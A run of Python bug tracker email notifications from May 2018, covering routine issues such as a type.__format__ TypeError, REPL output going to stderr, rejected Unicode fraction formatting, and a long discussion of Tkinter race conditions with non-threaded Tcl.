>10}'.format(a=t)) Traceback (most recent call last): File "", line 1, in TypeError: unsupported format string passed to type.__format__ ---------- messages: 316072 nosy: alexomics priority: normal severity: normal status: open title: Using type in a format with padding causes TypeError type: behavior versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 10:24:09 2018 From: report at bugs.python.org (Quentin Millardet) Date: Wed, 02 May 2018 14:24:09 +0000 Subject: [issue33411] All console message are in the error output in bash interpretor Message-ID: <1525271049.22.0.682650639539.issue33411@psf.upfronthosting.co.za> New submission from Quentin Millardet : The probleme is all display (normal and error message), in bash, are send to the screen by the error output. So it's impossible when someone make a bash script to get the error back in a log file for exemple, or just to display only the error on a screen. Problem test on Ubuntu 18.04 and Elementary loki (an Ubuntu 16.04 variant) ---------- components: IO files: Capture d'?cran du 2018-05-02 16.16.09.png messages: 316073 nosy: Quentin Millardet priority: normal severity: normal status: open title: All console message are in the error output in bash interpretor type: behavior versions: Python 2.7, Python 3.4, Python 3.5, Python 3.6, Python 3.7, Python 3.8 Added file: https://bugs.python.org/file47560/Capture d'?cran du 2018-05-02 16.16.09.png _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 10:26:47 2018 From: report at bugs.python.org (Quentin Millardet) Date: Wed, 02 May 2018 14:26:47 +0000 Subject: [issue33411] All console message are in the error output in bash interpretor In-Reply-To: <1525271049.22.0.682650639539.issue33411@psf.upfronthosting.co.za> Message-ID: <1525271207.33.0.682650639539.issue33411@psf.upfronthosting.co.za> Change by Quentin Millardet : ---------- status: open -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 10:27:24 2018 From: report at bugs.python.org (Quentin Millardet) Date: Wed, 02 May 2018 14:27:24 +0000 Subject: [issue33411] All console message are in the error output in bash interpretor In-Reply-To: <1525271049.22.0.682650639539.issue33411@psf.upfronthosting.co.za> Message-ID: <1525271244.8.0.682650639539.issue33411@psf.upfronthosting.co.za> Change by Quentin Millardet : ---------- status: -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 10:33:04 2018 From: report at bugs.python.org (Matthias Bussonnier) Date: Wed, 02 May 2018 14:33:04 +0000 Subject: [issue1322] Deprecate platform.dist() and platform.linux_distribution() functions In-Reply-To: <1193246464.1.0.269134020057.issue1322@psf.upfronthosting.co.za> Message-ID: <1525271584.26.0.682650639539.issue1322@psf.upfronthosting.co.za> Change by Matthias Bussonnier : ---------- pull_requests: +6387 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 10:33:37 2018 From: report at bugs.python.org (Emanuel Barry) Date: Wed, 02 May 2018 14:33:37 +0000 Subject: [issue33410] Using type in a format with padding causes TypeError In-Reply-To: <1525270930.67.0.682650639539.issue33410@psf.upfronthosting.co.za> Message-ID: <1525271617.72.0.682650639539.issue33410@psf.upfronthosting.co.za> Emanuel Barry added the comment: `type` has a default `__format__` implementation which doesn't accept any formatting options. This is expected behaviour. ---------- nosy: +ebarry resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 10:45:43 2018 From: report at bugs.python.org (Steven D'Aprano) Date: Wed, 02 May 2018 14:45:43 +0000 Subject: [issue33411] All console message are in the error output in bash interpretor In-Reply-To: <1525271049.22.0.682650639539.issue33411@psf.upfronthosting.co.za> Message-ID: <1525272343.15.0.682650639539.issue33411@psf.upfronthosting.co.za> Steven D'Aprano added the comment: Hello Quentin, and welcome. Please don't post screen shots of text. We don't edit our code with Photoshop, and using a screenshot makes it difficult to copy your code for testing, to verify the bug report, and prevents the blind and visually impaired from taking part on the discussion. Please copy and paste the code demonstrating the error as text, the output you received, and state the output you expected. ---------- nosy: +steven.daprano status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 10:49:02 2018 From: report at bugs.python.org (Raymond Hettinger) Date: Wed, 02 May 2018 14:49:02 +0000 Subject: [issue33402] Change the fractions.Fraction class to convert to a unicode fraction string In-Reply-To: <1525214340.23.0.682650639539.issue33402@psf.upfronthosting.co.za> Message-ID: <1525272542.33.0.682650639539.issue33402@psf.upfronthosting.co.za> Raymond Hettinger added the comment: In the Monaco font, the superscripts ?????????? don't all line-up. The 1, 2, and 3 are lower which makes the fraction look weird. ---------- nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 10:54:28 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 02 May 2018 14:54:28 +0000 Subject: [issue33402] Change the fractions.Fraction class to convert to a unicode fraction string In-Reply-To: <1525214340.23.0.682650639539.issue33402@psf.upfronthosting.co.za> Message-ID: <1525272868.89.0.682650639539.issue33402@psf.upfronthosting.co.za> STINNER Victor added the comment: I dislike using non-ASCII characters for the default implementation. I don't think that this formatting is popular, and I expect many troubles on each platform. IMHO it's very easy to put such short function in your favorite module, or directly into your application, for your own usage. Call it my_nice_fraction_formatting() :-) ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 10:55:13 2018 From: report at bugs.python.org (Quentin Millardet) Date: Wed, 02 May 2018 14:55:13 +0000 Subject: [issue33411] All console message are in the error output in bash interpretor In-Reply-To: <1525271049.22.0.682650639539.issue33411@psf.upfronthosting.co.za> Message-ID: <1525272913.02.0.682650639539.issue33411@psf.upfronthosting.co.za> Quentin Millardet added the comment: In a bash terminal, obtained result: $python > Normal.txt 2> Error.txt import a $cat Normal.txt $cat Error.txt Python 2.7.12 (default, Dec 4 2017, 14:50:18) [GCC 5.4.0 20160609] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> Traceback (most recent call last): File "", line 1, in ImportError: No module named a >>> $ That i was expected : $python > Normal.txt 2> Error.txt import a $cat Normal.txt Python 2.7.12 (default, Dec 4 2017, 14:50:18) [GCC 5.4.0 20160609] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> $cat Error.txt Traceback (most recent call last): File "", line 1, in ImportError: No module named a $ ---------- status: pending -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 11:00:41 2018 From: report at bugs.python.org (Petr Viktorin) Date: Wed, 02 May 2018 15:00:41 +0000 Subject: [issue32414] PyCapsule_Import fails when name is in the form 'package.module.capsule' In-Reply-To: <1514022429.41.0.213398074469.issue32414@psf.upfronthosting.co.za> Message-ID: <1525273241.19.0.682650639539.issue32414@psf.upfronthosting.co.za> Petr Viktorin added the comment: An option would be to use a colon to separate the module(s) from the attribute(s). The "inspect" module CLI does this, for example: https://docs.python.org/3/library/inspect.html#command-line-interface $ python3 -m inspect urllib.parse:SplitResult.geturl def geturl(self): return urlunsplit(self) A colon can't appear in an identifier, so the old way can be used if there's no colon in the argument, making this backwards compatible. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 12:08:37 2018 From: report at bugs.python.org (Tim Peters) Date: Wed, 02 May 2018 16:08:37 +0000 Subject: [issue33402] Change the fractions.Fraction class to convert to a unicode fraction string In-Reply-To: <1525214340.23.0.682650639539.issue33402@psf.upfronthosting.co.za> Message-ID: <1525277317.51.0.682650639539.issue33402@psf.upfronthosting.co.za> Tim Peters added the comment: -1. We should stop pretending this _ might_ happen ;-) ---------- nosy: +tim.peters _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 12:46:27 2018 From: report at bugs.python.org (Gabe Appleton) Date: Wed, 02 May 2018 16:46:27 +0000 Subject: [issue33402] Change the fractions.Fraction class to convert to a unicode fraction string In-Reply-To: <1525214340.23.0.682650639539.issue33402@psf.upfronthosting.co.za> Message-ID: <1525279587.53.0.682650639539.issue33402@psf.upfronthosting.co.za> Change by Gabe Appleton : ---------- resolution: -> rejected stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 13:06:33 2018 From: report at bugs.python.org (Eric V. Smith) Date: Wed, 02 May 2018 17:06:33 +0000 Subject: [issue33410] Using type in a format with padding causes TypeError In-Reply-To: <1525270930.67.0.682650639539.issue33410@psf.upfronthosting.co.za> Message-ID: <1525280793.25.0.682650639539.issue33410@psf.upfronthosting.co.za> Eric V. Smith added the comment: The problem is that type.__format__ doesn't exist, so object.__format__ is being called, and it throws an error if you provide a format spec. This is done for future expansion: if we do want to add type.__format__ in the future, we don't have to worry about existing cases that are using format specs that might not work with the new type.__format__. No format spec is the same as calling str() on the argument and returning that, which is what is happening in your working examples. If you want to apply a str formatting spec, you should covert the argument to a str first, using either !s or str(): >>> print('{a!s: >10}'.format(a=type(a))) >>> print('{a: >10}'.format(a=str(type(a)))) ---------- nosy: +eric.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 13:20:19 2018 From: report at bugs.python.org (Ivan Pozdeev) Date: Wed, 02 May 2018 17:20:19 +0000 Subject: [issue33257] Race conditions in Tkinter with non-threaded Tcl In-Reply-To: <1523378469.47.0.682650639539.issue33257@psf.upfronthosting.co.za> Message-ID: <1525281619.8.0.682650639539.issue33257@psf.upfronthosting.co.za> Change by Ivan Pozdeev : Added file: https://bugs.python.org/file47561/TkinterHanders3.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 13:51:49 2018 From: report at bugs.python.org (Ivan Pozdeev) Date: Wed, 02 May 2018 17:51:49 +0000 Subject: [issue33412] Tkinter hangs if using multiple threads and event handlers Message-ID: <1525283509.66.0.682650639539.issue33412@psf.upfronthosting.co.za> New submission from Ivan Pozdeev : With threaded Tkinter, TkinterHanders3.py from https://bugs.python.org/issue33257 (attached) hangs. Tracing with thread_debug and a modified trace.py (to show TIDs, attached) shows that worker threads are waiting for the Tcl lock while the main thread that holds it keeps waiting for some other lock with a strange timeout: 19000: PyThread_acquire_lock_timed(00000000001B0F80, 0) called 19000: PyThread_acquire_lock(00000000001B0F80, 0) -> 0 19000: PyThread_acquire_lock_timed(00000000001B0F80, -1000000) called Tested on 3.6 head, win7 x64, debug build. ---------- components: Tkinter files: TkinterHanders3.py messages: 316082 nosy: Ivan.Pozdeev priority: normal severity: normal status: open title: Tkinter hangs if using multiple threads and event handlers type: crash versions: Python 3.6, Python 3.7, Python 3.8 Added file: https://bugs.python.org/file47562/TkinterHanders3.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 13:52:07 2018 From: report at bugs.python.org (Ivan Pozdeev) Date: Wed, 02 May 2018 17:52:07 +0000 Subject: [issue33412] Tkinter hangs if using multiple threads and event handlers In-Reply-To: <1525283509.66.0.682650639539.issue33412@psf.upfronthosting.co.za> Message-ID: <1525283527.34.0.682650639539.issue33412@psf.upfronthosting.co.za> Change by Ivan Pozdeev : Added file: https://bugs.python.org/file47563/trace.zip _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 13:52:45 2018 From: report at bugs.python.org (Ivan Pozdeev) Date: Wed, 02 May 2018 17:52:45 +0000 Subject: [issue33412] Tkinter hangs if using multiple threads and event handlers In-Reply-To: <1525283509.66.0.682650639539.issue33412@psf.upfronthosting.co.za> Message-ID: <1525283565.67.0.682650639539.issue33412@psf.upfronthosting.co.za> Change by Ivan Pozdeev : Added file: https://bugs.python.org/file47564/trace.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 14:07:47 2018 From: report at bugs.python.org (Ivan Pozdeev) Date: Wed, 02 May 2018 18:07:47 +0000 Subject: [issue33412] Tkinter hangs if using multiple threads and event handlers In-Reply-To: <1525283509.66.0.682650639539.issue33412@psf.upfronthosting.co.za> Message-ID: <1525284467.39.0.682650639539.issue33412@psf.upfronthosting.co.za> Ivan Pozdeev added the comment: > worker threads are waiting for the Tcl lock Pardon. They are waiting for Tkapp_ThreadSend()s into the main thread to return. The effect is still the same. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 14:10:08 2018 From: report at bugs.python.org (Eryk Sun) Date: Wed, 02 May 2018 18:10:08 +0000 Subject: [issue33275] glob.glob should explicitly note that results aren't sorted In-Reply-To: <1523644726.46.0.682650639539.issue33275@psf.upfronthosting.co.za> Message-ID: <1525284608.17.0.682650639539.issue33275@psf.upfronthosting.co.za> Eryk Sun added the comment: FAT inserts a new file entry in a directory at the first available position. (If it's a long filename, this could be up to 21 contiguous dirents for a combined long/short dirent set.) This means a directory listing is usually in the same order that files were added. One caveat is that dirents for deleted files may be reused once there are no more unused entries available in a cluster. (I'd expect this depends on the implementation. Also, this is less likely with a long filename, since it needs a large-enough contiguous block of dirents.) Given a volume with a 4 KiB cluster size, sans overhead there are 127 32-byte dirents in a cluster. I used to have an MP3 player that used FAT32 and only played files in directory order, so I had to resort directories on disk after adding files. In Ubuntu Linux, I see there's a "fatsort" package that implements this. There's probably a build available for MacOS. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 14:39:18 2018 From: report at bugs.python.org (Martin Teichmann) Date: Wed, 02 May 2018 18:39:18 +0000 Subject: [issue33413] asyncio.gather should not use special Future Message-ID: <1525286358.11.0.682650639539.issue33413@psf.upfronthosting.co.za> New submission from Martin Teichmann : asyncio.gather() returns a _GatheringFuture, which inherits from asyncio.Future. This is weird in current asyncio, as futures are supposed to be created with loop.create_future(). So I tried to reimplement gather() without this weird special future. I succeeded, yet I stumbled over weird inconsistencies with cancellation. There are three cases: - coroutines have no special notion of cancellation, they treat CancelledError as any other exception - futures have a clear distinction between exceptions and cancellation: future.set_exception(CancelledError()) is different from future.cancel(), as only for the latter future.cancelled() is True. This is used in the _GatheringFuture: it is cancelled() only if it got cancelled via future.cancel(), if its children gets cancelled it may set_exception(CancelledError()), but it will not be cancelled itself. - Tasks consider raising a CancelledError always as a cancellation, whether it actually got cancelled or the wrapped coroutine raised CancelledError for whatever other reason. There is one exception: if the coroutine manages to return immediately after being cancelled, it raises a CancelledError, but task.cancelled() is false. So if a coroutine ends in current_task().cancel() return the current task raises a CancelledError, but task.cancelled() is false. I consider the last exception actually a bug, but it allows me to make my inheritance-free gather() look to the outside exactly like it used to be. ---------- messages: 316085 nosy: Martin.Teichmann priority: normal severity: normal status: open title: asyncio.gather should not use special Future type: behavior versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 14:45:52 2018 From: report at bugs.python.org (Martin Teichmann) Date: Wed, 02 May 2018 18:45:52 +0000 Subject: [issue33413] asyncio.gather should not use special Future In-Reply-To: <1525286358.11.0.682650639539.issue33413@psf.upfronthosting.co.za> Message-ID: <1525286752.96.0.682650639539.issue33413@psf.upfronthosting.co.za> Change by Martin Teichmann : ---------- keywords: +patch pull_requests: +6388 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 15:36:01 2018 From: report at bugs.python.org (Nick Timkovich) Date: Wed, 02 May 2018 19:36:01 +0000 Subject: [issue26834] Add truncated SHA512/224 and SHA512/256 In-Reply-To: <1461439661.19.0.970129415182.issue26834@psf.upfronthosting.co.za> Message-ID: <1525289761.05.0.682650639539.issue26834@psf.upfronthosting.co.za> Nick Timkovich added the comment: Was this patch mostly ready to go? The additional SHA512 variants are appealing because they run ~40% faster than SHA256 on 64-bit hardware for longer messages. ---------- nosy: +nicktimko _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 15:38:38 2018 From: report at bugs.python.org (Ivan Pozdeev) Date: Wed, 02 May 2018 19:38:38 +0000 Subject: [issue33257] Race conditions in Tkinter with non-threaded Tcl In-Reply-To: <1523378469.47.0.682650639539.issue33257@psf.upfronthosting.co.za> Message-ID: <1525289918.68.0.682650639539.issue33257@psf.upfronthosting.co.za> Ivan Pozdeev added the comment: Here are the possible courses of action to fix this. All require design changes, thus can be shot down on a whim. So I'll ask for advice and approval at python-dev first, to be sure that my efforts won't be scrapped. First, some terminology I'll be using: * A "(Tcl interpreter) call" (in quotes) is a sequence of interdependent calls into Tcl that a Tkinter routine makes in the course of its action. * Outstanding "calls" are those from other threads that have not started yet and are currently waiting for the Tcl lock. * A "downstream" "call" is a call made by a running PythonCmd's Python payload. * Each call to PythonCmd has a "start" -- before releasing the Tcl lock -- and an "end" -- when it reacquires it to Tcl_SetObjResult() and return * A PythonCmd is "active" when it's before its "start" and "end" Now, the fix options proper: * At the "end", rearrange the Tcl interpreter's stack frames so that the current PythonCmd's one is on top (effectively, make it look as if independent "calls" use independent Tcl stacks. Theoretically possible.) * Confirmed this to be impossible with Tcl's public API * Prohibit other `PythonCmd's while one is already "active", except its "downstream" ones. Options: * At the "end", the old PythonCmd checks if there are others "calls" on top of it (will only happen if such "call" has another "active" PythonCmd on top: all other Tkinter routines hold the Tcl lock for their entire duration after the 33257 fix), wait if there are. * Problematic: this wait algorithm is biased against the old PythonCmd. Will lead to a potentially infinite wait if there are many threads making Tcl calls that result in PythonCmds. * Hold the Tcl lock for the entire duration of a PythonCmd. To allow "downstream" calls, make the Tcl lock reentrant. * Requires redesign of about two dozen functions in thread_*.c and pycond.h: there are only non-reentrant locks currently. * Behaviour change: wouldn't allow outstanding "calls" while a PythonCmd is "active". This change is transparent to Python code though. * Reuse the threaded versions of Tkapp_* routines: bind a nonthreaded interpreter to a thread and forward calls to it as events like in the threaded case * Problematic: visible behaviour change: `tk.call()`s would now hang without a running `mainloop()`. Currently, only event handlers don't fire. Rejected options: * The new PythonCmd somehow checks at "start" if another one is "active" and waits if it's not a descendant of it. * The new PythonCmd's Tcl interpreter frame has already been allocated when it gets control, so the old one cannot return before the new one in any case. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 16:42:26 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 02 May 2018 20:42:26 +0000 Subject: [issue20104] expose posix_spawn(p) In-Reply-To: <1388600000.81.0.911230526926.issue20104@psf.upfronthosting.co.za> Message-ID: <1525293746.84.0.682650639539.issue20104@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: As for PR 6693: I think using keyword arguments would be more Pythonic. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 17:14:47 2018 From: report at bugs.python.org (Barry A. Warsaw) Date: Wed, 02 May 2018 21:14:47 +0000 Subject: [issue32387] Disallow untagged C extension import on major platforms In-Reply-To: <1513784874.54.0.213398074469.issue32387@psf.upfronthosting.co.za> Message-ID: <1525295687.87.0.682650639539.issue32387@psf.upfronthosting.co.za> Change by Barry A. Warsaw : ---------- nosy: +barry _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 17:44:12 2018 From: report at bugs.python.org (Gregory P. Smith) Date: Wed, 02 May 2018 21:44:12 +0000 Subject: [issue26834] Add truncated SHA512/224 and SHA512/256 In-Reply-To: <1461439661.19.0.970129415182.issue26834@psf.upfronthosting.co.za> Message-ID: <1525297452.45.0.682650639539.issue26834@psf.upfronthosting.co.za> Change by Gregory P. Smith : ---------- versions: +Python 3.8 -Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 17:52:47 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 02 May 2018 21:52:47 +0000 Subject: [issue33316] Windows: PyThread_release_lock always fails In-Reply-To: <1524183536.18.0.682650639539.issue33316@psf.upfronthosting.co.za> Message-ID: <1525297967.16.0.682650639539.issue33316@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- title: PyThread_release_lock always fails -> Windows: PyThread_release_lock always fails _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 19:22:48 2018 From: report at bugs.python.org (Guido van Rossum) Date: Wed, 02 May 2018 23:22:48 +0000 Subject: [issue33257] Race conditions in Tkinter with non-threaded Tcl In-Reply-To: <1523378469.47.0.682650639539.issue33257@psf.upfronthosting.co.za> Message-ID: <1525303368.4.0.682650639539.issue33257@psf.upfronthosting.co.za> Guido van Rossum added the comment: So this issue doesn't occur when linked with a thread-aware Tcl/Tk, right? Maybe we should just make sure that's the only configuration we ensure? ---------- nosy: +gvanrossum _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 19:27:56 2018 From: report at bugs.python.org (Guido van Rossum) Date: Wed, 02 May 2018 23:27:56 +0000 Subject: [issue33412] Tkinter hangs if using multiple threads and event handlers In-Reply-To: <1525283509.66.0.682650639539.issue33412@psf.upfronthosting.co.za> Message-ID: <1525303676.39.0.682650639539.issue33412@psf.upfronthosting.co.za> Guido van Rossum added the comment: So it seems threads and Tkinter events don't mix. This doesn't surprise me much. (Similar issues can occur when mixing threads and asyncio if you don't follow the documentation's advice about how to send events across threads.) Perhaps event_generate() needs to be more careful with locking? Do you have a suggestion for what to do short of dropping Tkinter support? ---------- nosy: +gvanrossum _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 19:49:09 2018 From: report at bugs.python.org (bbayles) Date: Wed, 02 May 2018 23:49:09 +0000 Subject: [issue33038] GzipFile doesn't always ignore None as filename In-Reply-To: <1520642770.84.0.467229070634.issue33038@psf.upfronthosting.co.za> Message-ID: <1525304949.77.0.682650639539.issue33038@psf.upfronthosting.co.za> bbayles added the comment: Is there someone who might be in a position to review the PR? It's pretty short. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 19:52:32 2018 From: report at bugs.python.org (Ivan Pozdeev) Date: Wed, 02 May 2018 23:52:32 +0000 Subject: [issue33257] Race conditions in Tkinter with non-threaded Tcl In-Reply-To: <1525303368.4.0.682650639539.issue33257@psf.upfronthosting.co.za> Message-ID: <482ff447-396d-0aff-018e-f81cc9c58fa2@mail.ru> Ivan Pozdeev added the comment: > So this issue doesn't occur when linked with a thread-aware Tcl/Tk, right? Maybe we should just make sure that's the only configuration we ensure? This would break compatibility, including some usage patterns (see the "Reuse the threaded versions" option above). Can this actually be considered for anything short of the next major release? While official Windows releases use a pocket version, POSIX ones would probably link against whatever a distribution provides. ---------- nosy: +__Vano _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 20:03:25 2018 From: report at bugs.python.org (=?utf-8?q?Fran=C3=A7ois_Freitag?=) Date: Thu, 03 May 2018 00:03:25 +0000 Subject: [issue31706] urlencode should accept generator as values for mappings when doseq=True In-Reply-To: <1507234372.12.0.213398074469.issue31706@psf.upfronthosting.co.za> Message-ID: <1525305805.1.0.682650639539.issue31706@psf.upfronthosting.co.za> Change by Fran?ois Freitag : ---------- versions: +Python 3.8 -Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 20:36:07 2018 From: report at bugs.python.org (Stephan Hohe) Date: Thu, 03 May 2018 00:36:07 +0000 Subject: [issue27300] tempfile.TemporaryFile(): missing errors=... argument Message-ID: <1525307767.07.0.682650639539.issue27300@psf.upfronthosting.co.za> Change by Stephan Hohe : ---------- pull_requests: +6390 status: pending -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 21:35:56 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 03 May 2018 01:35:56 +0000 Subject: [issue33257] Race conditions in Tkinter with non-threaded Tcl In-Reply-To: <1523378469.47.0.682650639539.issue33257@psf.upfronthosting.co.za> Message-ID: <1525311356.38.0.682650639539.issue33257@psf.upfronthosting.co.za> Terry J. Reedy added the comment: I reproduced the error on installed 2.7.14, running tk 8.5.18. I ran TkinterCrash3-2-2.py 15 times on 64-bit Win10, installed x64 3.6.5, with tk 8.6.8, and experienced no crashes. I ran it another 10 times with 32-bit repository 3.8 debug and no crashes. My conclusion: this is at least partly a tcl/tk issue fixed in current tcl/tk. "this would affect any branch if built with nonthreaded Tcl." If python is delivered (on Windows and Mac) with 'threaded tcl' and rebuilding with 'nonthreaded tcl' causes a problem with tkinter, then one should not do that. In practice, essentially no one does so. Serhiy, do you know what type of tcl/tk is distributed on Linux? ---------- nosy: -__Vano, gvanrossum _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 21:45:51 2018 From: report at bugs.python.org (Raymond Hettinger) Date: Thu, 03 May 2018 01:45:51 +0000 Subject: [issue33391] leak in set_symmetric_difference? In-Reply-To: <1525081362.63.0.682650639539.issue33391@psf.upfronthosting.co.za> Message-ID: <1525311951.73.0.682650639539.issue33391@psf.upfronthosting.co.za> Raymond Hettinger added the comment: I had assigned this to myself to review and apply. I would have appreciated you letting me complete that task when I had a chance to take a breath. This was a bug that I caused, so I should be the one responsible for fixing it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 22:07:54 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 03 May 2018 02:07:54 +0000 Subject: [issue33257] Race conditions in Tkinter with non-threaded Tcl In-Reply-To: <1523378469.47.0.682650639539.issue33257@psf.upfronthosting.co.za> Message-ID: <1525313274.5.0.682650639539.issue33257@psf.upfronthosting.co.za> Terry J. Reedy added the comment: As I reported on the pydev thread "bpo-33257: seeking advice & approval on the course of action", Firefox cannot find the string 'thread' in the tkinter chapter of the official doc. Nor in the tkinter.ttk chapter. IDLE does not find it in tkinter.__init__. So the claim of 'thread-safe' seems not to be 'official'. As I understand 'crash', arrival_122, which calls Canvas.create_line, get called in each thread by Track.run. On the other pydev thread, Mac expert Ronald Oussorn said "at least on macOS calling GUI methods in Apple?s libraries from secondary threads is unsafe unless those methods are explicitly documented as thread-safe." Maybe we should officially say that tkinter/tk/os gui calls from secondary threads is chancey, even while we try to make it less so. Ivan, as I also said there, it is not clear to me, given your subsequent comments, what you consider to be the status of the PR. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 22:16:37 2018 From: report at bugs.python.org (Ivan Pozdeev) Date: Thu, 03 May 2018 02:16:37 +0000 Subject: [issue33257] Race conditions in Tkinter with non-threaded Tcl In-Reply-To: <1523378469.47.0.682650639539.issue33257@psf.upfronthosting.co.za> Message-ID: <1525313797.81.0.682650639539.issue33257@psf.upfronthosting.co.za> Ivan Pozdeev added the comment: > I ran TkinterCrash3-2-2.py 15 times on 64-bit Win10, installed x64 3.6.5, with tk 8.6.8, and experienced no crashes. I wrote in the initial message that this bug only happens with nonthreaded Tcl, regardless of Python version and Tcl version. I've built Py2 with threaded Tcl 8.5.19.0 just to make sure, and indeed, it went away. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 22:16:55 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 03 May 2018 02:16:55 +0000 Subject: [issue33257] Race conditions in Tkinter with non-threaded Tcl In-Reply-To: <1523378469.47.0.682650639539.issue33257@psf.upfronthosting.co.za> Message-ID: <1525313815.51.0.682650639539.issue33257@psf.upfronthosting.co.za> Terry J. Reedy added the comment: Rerunning 2.7, I sometimes get the following almost immediately without clicking [launch]. Exception in thread Thread-1: Traceback (most recent call last): File "C:\Programs\Python27\lib\threading.py", line 801, in __bootstrap_inner self.run() File "f:/python/a/tem.py", line 50, in run self.deliverToqueue((self.target, z, y)) File "f:/python/a/tem.py", line 133, in arrival_122 new_yz[1]) File "C:\Programs\Python27\lib\lib-tk\Tkinter.py", line 2322, in create_line return self._create('line', args, kw) File "C:\Programs\Python27\lib\lib-tk\Tkinter.py", line 2310, in _create *(args + self._options(cnf, kw)))) TclError: bad option "97380032LrunLocal": must be addtag, bbox, bind, canvasx, canvasy, cget, configure, coords, create, dchars, delete, dtag, find, focus, gettags, icursor, index, insert, itemcget, itemconfigure, lower, move, postscript, raise, scale, scan, select, type, xview, or yview An automated test would need to fail more consistently, without needing to click. Running faster would also be good (and perhaps increase failure rate). The the test would be that the file runs in subprocess without an error (perhaps multiple times). There may be a test.support function for this. The TkinterCrash files currently have way too many comments for a non-beginner audience. The t ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 22:25:44 2018 From: report at bugs.python.org (Ivan Pozdeev) Date: Thu, 03 May 2018 02:25:44 +0000 Subject: [issue33257] Race conditions in Tkinter with non-threaded Tcl In-Reply-To: <1523378469.47.0.682650639539.issue33257@psf.upfronthosting.co.za> Message-ID: <1525314343.98.0.682650639539.issue33257@psf.upfronthosting.co.za> Ivan Pozdeev added the comment: > Ivan, as I also said there, it is not clear to me, given your subsequent comments, what you consider to be the status of the PR. The PR fixes the problem exposed by TkinterCrash2-2.py and TkinterCrash3-2-2.py and only lacks an autotest (I asked for any ideas for it and got no response). Then I found another related bug (https://bugs.python.org/issue33257#msg315286 ) and though to fix it as well -- but it turned out to be deeper than expected. I'd be fine to commit the current fix and work on the second bug separately. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 22:33:43 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 03 May 2018 02:33:43 +0000 Subject: [issue33257] Race conditions in Tkinter with non-threaded Tcl In-Reply-To: <1523378469.47.0.682650639539.issue33257@psf.upfronthosting.co.za> Message-ID: <1525314822.99.0.682650639539.issue33257@psf.upfronthosting.co.za> Terry J. Reedy added the comment: You did not say 'never with threaded tcl'. You also claimed that tkinter is so broken, with either threaded or non-threaded tcl/tk, that tkinter should be trashed. Anyway, I like to test things for myself. If 'never with threaded tcl' is true, then the crashes I observed indicate that CPython's current 2.7 windows installer is installing non-threaded 8.5.18. (I have no idea if or how I could check.) It would seem then, that we should change to threaded 8.5.18 before 2.7.16. (2.7.15 was just released). I am surprised since the Windows installers were in Martin Loewis' charge until sometime after 2.7 was released, and he is the one who claimed that tkinter should be thread-safe. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 22:36:53 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 03 May 2018 02:36:53 +0000 Subject: [issue33257] Race conditions in Tkinter with non-threaded Tcl In-Reply-To: <1523378469.47.0.682650639539.issue33257@psf.upfronthosting.co.za> Message-ID: <1525315013.61.0.682650639539.issue33257@psf.upfronthosting.co.za> Terry J. Reedy added the comment: Is threaded tcl just a compile switch, as with CPython? ---------- _______________________________________ Python tracker 